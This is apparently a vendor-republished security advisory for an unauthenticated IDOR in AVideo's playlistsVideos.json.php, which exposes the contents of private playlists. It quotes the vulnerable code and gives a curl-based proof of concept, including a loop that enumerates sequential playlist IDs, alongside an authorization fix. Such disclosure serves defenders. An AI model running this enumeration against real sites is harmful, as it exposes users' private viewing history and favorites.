GHSA-75qq-68m8-pvfr is a medium-severity (CVSS 5.3) CWE-639 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo: Unauthenticated IDOR in playlistsVideos.json.php Exposes Private Playlist Contents
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-75qq-68m8-pvfr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-75qq-68m8-pvfr plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The objects/playlistsVideos.json.php endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including watch_later and favorite types) are correctly hidden from listing endpoints via playlistsFromUser.json.php, but their contents are directly accessible through this endpoint by providing the sequential integer playlists_id parameter.
Details
The endpoint at objects/playlistsVideos.json.php accepts a playlists_id parameter and directly calls PlayList::getVideosFromPlaylist() with no ownership or visibility validation:
// objects/playlistsVideos.json.php:24-28
if (empty($_REQUEST['playlists_id'])) {
die('Play List can not be empty');
}
require_once './playlist.php';
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);
The getVideosFromPlaylist() method at objects/playlist.php:588 performs a SQL query joining playlists_has_videos, videos, and users tables with no authorization filter:
// objects/playlist.php:592-597
$sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order "
. " FROM playlists_has_videos p "
. " LEFT JOIN videos as v ON videos_id = v.id "
. " LEFT JOIN users u ON u.id = v.users_id "
. " WHERE playlists_id = ? AND v.status != 'i' ";
In contrast, the listing endpoint playlistsFromUser.json.php correctly enforces visibility at lines 23-27:
// objects/playlistsFromUser.json.php:23-27
$publicOnly = true;
if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) {
$publicOnly = false;
}
$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);
This creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The .htaccess rewrite at line 356 maps the clean URL playListsVideos.json to this endpoint.
PoC
Step 1: Enumerate playlist contents without authentication
# No cookies or auth headers needed. Increment playlists_id to enumerate.
curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool
Expected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts.
Step 2: Enumerate private playlists (watch_later, favorite)
# Iterate through sequential IDs to find private playlists
for i in $(seq 1 50); do
result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i")
count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
if [ "$count" != "0" ] && [ -n "$count" ]; then
echo "Playlist $i: $count videos"
fi
done
Step 3: Confirm the listing endpoint correctly hides private playlists
# This correctly returns only public playlists for user 1
curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool
# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones
Impact
An unauthenticated attacker can:
- Enumerate all users' watch history by accessing
watch_laterplaylist contents - Enumerate all users' favorites by accessing
favoriteplaylist contents - Access unlisted/private custom playlists that were intentionally hidden from public view
- Harvest video metadata including filenames, URLs, user information, and comments for videos in private playlists
This is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward.
Recommended Fix
Add authorization checks to objects/playlistsVideos.json.php before returning playlist contents:
// objects/playlistsVideos.json.php — add after line 27, before getVideosFromPlaylist()
require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php';
$pl = new PlayList($_REQUEST['playlists_id']);
$plStatus = $pl->getStatus();
// Public playlists are accessible to everyone
if ($plStatus !== 'public') {
// Private, unlisted, watch_later, and favorite playlists require ownership or admin
if (!User::isLogged() || (User::getId() != $pl->getUsers_id() && !User::isAdmin())) {
header('HTTP/1.1 403 Forbidden');
die(json_encode(['error' => 'You do not have permission to view this playlist']));
}
}
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-75qq-68m8-pvfr yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-75qq-68m8-pvfr can be triaged on real exposure rather than presence alone.
Tailored to GHSA-75qq-68m8-pvfr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-75qq-68m8-pvfr in your dependencies?
O3 Security finds GHSA-75qq-68m8-pvfr across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.